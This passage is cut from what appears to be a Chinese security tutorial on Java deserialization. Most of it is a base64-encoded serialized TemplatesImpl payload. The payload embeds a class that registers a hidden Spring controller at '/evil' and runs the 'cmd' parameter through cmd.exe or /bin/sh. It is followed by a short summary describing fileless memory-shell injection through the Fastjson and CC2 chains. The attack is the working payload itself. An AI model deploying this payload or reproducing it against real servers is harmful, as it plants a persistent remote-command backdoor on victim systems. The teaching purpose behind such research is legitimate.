Y29tL1RyMGUvZ29vZC9kZXNlcmlhbGl6YXRpb24vVGVtcGxhdGVzL0luamVjdFRvQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAB21ldGhvZDIBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAEmluamVjdFRvQ29udHJvbGxlcgEACkV4Y2VwdGlvbnMHALcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAANhcmcBABJMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAEZXhlYwEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIMHALgHALkHAIcHALoHAKEHAKYHALQBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwC7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAXSW5qZWN0VG9Db250cm9sbGVyLmphdmEMADoAOwcAvAwAvQC+AQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwC/DADAAMEBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAMIAwwEAOmNvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL1RlbXBsYXRlcy9JbmplY3RUb0NvbnRyb2xsZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAMQAxQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BABBqYXZhL2xhbmcvU3RyaW5nAQAFL2V2aWwMADoAxgEATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb24BADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAwAOgDHAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAOgDIAQADYWFhDAA6AFAMAMkAygEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAMsAzAwAzQDOAQADY21kBwC4DADPANAHALkMANEA0gEAAAEAB29zLm5hbWUHANMMANQA0AwA1QDWAQADd2luDADXANgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBAAdjbWQuZXhlAQACL2MBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA2QDaBwDbDADcAN0MADoA3gEAAlxBDADfAOAMAOEA4gwA4wDWDADkADsHALoMAOUAUAwA5gA7DADnAOgBABNqYXZhL2xhbmcvRXhjZXB0aW9uDADpADsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEAD3JlZ2lzdGVyTWFwcGluZwEAQShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYBAA9wcmludFN0YWNrVHJhY2UAIQAIADkAAAAAAAUAAQA6ADsAAgA8AAABBQAJAAgAAABxKrcAAbgAAhIDA7kABAMAwAAFTCsSBrkABwIAwAAGTRIIEgkDvQAKtgALTrsADFkEvQANWQMSDlO3AA86BLsAEFkDvQARtwASOgW7ABNZGQQZBQEBAQEBtwAUOga7AAhZEhW3ABY6BywZBhkHLbYAF7EAAAACAD0AAAAqAAoAAAAZAAQAGgATABsAHwAcACsAHQA9AB4ASgAfAFwAIABnACEAcAAiAD4AAABSAAgAAABxAD8AQAAAABMAXgBBAEIAAQAfAFIAQwBEAAIAKwBGAEUARgADAD0ANABHAEgABABKACcASQBKAAUAXAAVAEsATAAGAGcACgBNAEAABwBOAAAABAABAE8AAQA6AFAAAgA8AAAAOQABAAIAAAAFKrcAAbEAAAACAD0AAAAGAAEAAAAkAD4AAAAWAAIAAAAFAD8AQAAAAAAABQBRAFIAAQBTAAAABQEAUQAAAAEAVAA7AAEAPAAAAekABgAIAAAA0bgAAsAAGMAAGLYAGUy4AALAABjAABi2ABpNKxIbuQAcAgBOLLkAHQEAOgQtxgCTEh46BRIfuAAgtgAhEiK2ACOZACG7ACRZBr0ADVkDEiVTWQQSJlNZBS1TtwAnOganAB67ACRZBr0ADVkDEihTWQQSKVNZBS1TtwAnOga7ACpZGQa2ACu2ACy3AC0SLrYALzoHGQe2ADCZAAsZB7YAMacABRkFOgUZB7YAMhkEGQW2ADMZBLYANBkEtgA1pwAMLBEBlLkANgIApwAITi22ADixAAEAGgDIAMsANwADAD0AAABWABUAAAAnAA0AKAAaACoAIwArACsALAAvAC0AMwAvAEMAMABhADIAfAA0AJIANQCmADYAqwA3ALIAOAC3ADkAvAA6AL8AOwDIAD8AywA9AMwAPgDQAEAAPgAAAGYACgBeAAMAVQBWAAYAMwCJAFcAUgAFAHwAQABVAFYABgCSACoAWABZAAcAIwClAFoAUgADACsAnQBbAFwABADMAAQAXQBeAAMAAADRAD8AQAAAAA0AxABfAGAAAQAaALcAYQBiAAIAYwAAADYACP8AYQAGBwBkBwBlBwBmBwBnBwBoBwBnAAD8ABoHAGn8ACUHAGpBBwBn+AAa+QAIQgcAawQAAQBsAG0AAwA8AAAAPwAAAAMAAAABsQAAAAIAPQAAAAYAAQAAAEUAPgAAACAAAwAAAAEAPwBAAAAAAAABAG4AbwABAAAAAQBwAHEAAgBOAAAABAABAHIAUwAAAAkCAG4AAABwAAAAAQBsAHMAAwA8AAAASQAAAAQAAAABsQAAAAIAPQAAAAYAAQAAAEoAPgAAACoABAAAAAEAPwBAAAAAAAABAG4AbwABAAAAAQB0AHUAAgAAAAEAdgB3AAMATgAAAAQAAQByAFMAAAANAwBuAAAAdAAAAHYAAAABAHgAAAACAHlwdAARVGVzdFRlbXBsYXRlc0ltcGxwdwEAeHEAfgAReA==
发送恶意 Payload,成功注入内存马:

总结
本文从 0 到 1 介绍了 TemplatesImpl 链的基础原理,同时介绍其在 Fastjson 反序列化漏洞利用过程中的应用,最后介绍了 Java 反序列化漏洞 CC2 链中对 TemplatesImpl 链的集成,以及如何通过 CC2 链注入恶意类与 Java 内存马。至此我们通过 TemplatesImpl 利用链直接向存在反序列化漏洞的 Web 受害系统注入内存马,从而真正实现了无落地文件的情况下注入 Java 内存马。
本文参考文章与资源:
2607

被折叠的 条评论
为什么被折叠?



